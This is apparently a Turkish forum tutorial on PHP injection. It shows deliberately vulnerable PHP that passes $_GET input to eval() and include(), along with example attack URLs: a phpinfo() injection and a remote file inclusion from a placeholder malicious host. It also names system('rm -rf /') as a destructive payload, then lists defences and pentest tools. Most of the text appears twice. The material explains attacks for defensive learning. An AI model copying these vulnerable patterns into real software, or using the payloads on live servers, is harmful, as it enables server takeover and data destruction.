PHP Injection, saldırganların web uygulamanıza kötü niyetli PHP kodları enjekte etmesine olanak tanıyan bir güvenlik açığıdır. Bu açık genellikle, kullanıcı girdilerinin doğrudan PHP'nin bazı fonksiyonlarıyla işlenmesi sonucu ortaya çıkar. Eğer girdiler yeterince kontrol edilmezse, saldırgan sunucunuzda zararlı kod çalıştırabilir ve ciddi güvenlik riskleri oluşturabilir.
1. Kod Enjeksiyonu: Şimdi bu konuya direkt örnek üzerinden gidelim. Örneğin eval() fonksiyonunu kullanarak bir değişkeni çalıştırdığımızı düşünelim:
PHP:
$kod = $_GET['kod'];
eval($kod); // eval() kullanımı
Bu durumda saldırgan web site URL sine şu sekilde bir parametre ekleyebilir:
Kod:
site.com/sayfa.php?kod=phpinfo();
Bu kod eval() kullanımı nedeniyle sistem bilgilerini açığa çıkaracaktır. Daha tehlikelisi ise system('rm -rf /') gibi bir komutla sunucuyu tamamen devredışı bırakabilir.
2. Dosya Enjeksiyonu: Bunda da örnek üzerinden gidelim. Eğer ki aşağıdaki gibi bir kod kullandıysanız:
PHP:
$sayfa = $_GET['sayfa'];
include($sayfa); // sorunlu include kullanımı
Sonrasında hacker şu şekilde giriş yapabilir:
Kod:
site.com/index.php?sayfa=http://zararlı-site.com/kotu.php
Bu, sunucunuzun dışarıdan gelen kötü amaçlı bir PHP dosyasını çalıştırmasına neden olabilir.
PHP INJECTİON KORUNMA YÖNTEMLERİ NELERDİR?
1. eval() fonksiyonunu çoğu durumda gereksizdir. Bu fonksiyon çok büyük güvenlik açıklarına neden olabilir. Alternatif çözümler kullanabilirsiniz.
2. htmlspecialchars(), ve strip_tags() ve filter_vars() gibi fonksiyonlar kullanarak zararlı içerikleri temizleyin.
3. include() ve require() kullanırken güvenli ve önceden tanımlanmış dosyaları içeri alacak şekilde kısıtlamalar ekleyin.
4. Hazırlıklı (Prepared) SQL sorguları kullanın.
1. SQLMap
2. BurpSuite (Community Edition)
3. Commix
4. Ffup ve Dirb
Bu araçları bende sıkça kullanıyorum. Bu araçların nasıl kullanıldığı ayrı bir konu olarak gelecek. Konu daha fazla uzayıp sıkıcı olmasın
Evet bir konumuzun daha sonuna geldik. PHP INJECTİON web sızma ve web pentesting de sıkça kullanılan bir enjeksiyon türüdür. Bu kullanım web server ve sunucularına ciddi şekilde zarar verebilir. Bu yüzden yukarıda bahsedilen korunma yöntemlerini mutlaka uygulamanızı tavsiye ederim
PHP INJECTİON TÜRLERİ NELERDİR?
PHP Injection 2 kategoriye ayrılır. Şimdi gelin bu kategorileri inceleyelim.1. Kod Enjeksiyonu: Şimdi bu konuya direkt örnek üzerinden gidelim. Örneğin eval() fonksiyonunu kullanarak bir değişkeni çalıştırdığımızı düşünelim:
PHP:
$kod = $_GET['kod'];
eval($kod); // eval() kullanımı
Bu durumda saldırgan web site URL sine şu sekilde bir parametre ekleyebilir:
Kod:
site.com/sayfa.php?kod=phpinfo();
Bu kod eval() kullanımı nedeniyle sistem bilgilerini açığa çıkaracaktır. Daha tehlikelisi ise system('rm -rf /') gibi bir komutla sunucuyu tamamen devredışı bırakabilir.
2. Dosya Enjeksiyonu: Bunda da örnek üzerinden gidelim. Eğer ki aşağıdaki gibi bir kod kullandıysanız:
PHP:
$sayfa = $_GET['sayfa'];
include($sayfa); // sorunlu include kullanımı
Sonrasında hacker şu şekilde giriş yapabilir:
Kod:
site.com/index.php?sayfa=http://zararlı-site.com/kotu.php
Bu, sunucunuzun dışarıdan gelen kötü amaçlı bir PHP dosyasını çalıştırmasına neden olabilir.
PHP INJECTİON KORUNMA YÖNTEMLERİ NELERDİR?
1. eval() fonksiyonunu çoğu durumda gereksizdir. Bu fonksiyon çok büyük güvenlik açıklarına neden olabilir. Alternatif çözümler kullanabilirsiniz.
2. htmlspecialchars(), ve strip_tags() ve filter_vars() gibi fonksiyonlar kullanarak zararlı içerikleri temizleyin.
3. include() ve require() kullanırken güvenli ve önceden tanımlanmış dosyaları içeri alacak şekilde kısıtlamalar ekleyin.
4. Hazırlıklı (Prepared) SQL sorguları kullanın.
PHP INJECTİON YAPILIRKEN KULLANILAN ARAÇLAR:
1. SQLMap
2. BurpSuite (Community Edition)
3. Commix
4. Ffup ve Dirb
Bu araçları bende sıkça kullanıyorum. Bu araçların nasıl kullanıldığı ayrı bir konu olarak gelecek. Konu daha fazla uzayıp sıkıcı olmasın
Evet bir konumuzun daha sonuna geldik. PHP INJECTİON web sızma ve web pentesting de sıkça kullanılan bir enjeksiyon türüdür. Bu kullanım web server ve sunucularına ciddi şekilde zarar verebilir. Bu yüzden yukarıda bahsedilen korunma yöntemlerini mutlaka uygulamanızı tavsiye ederim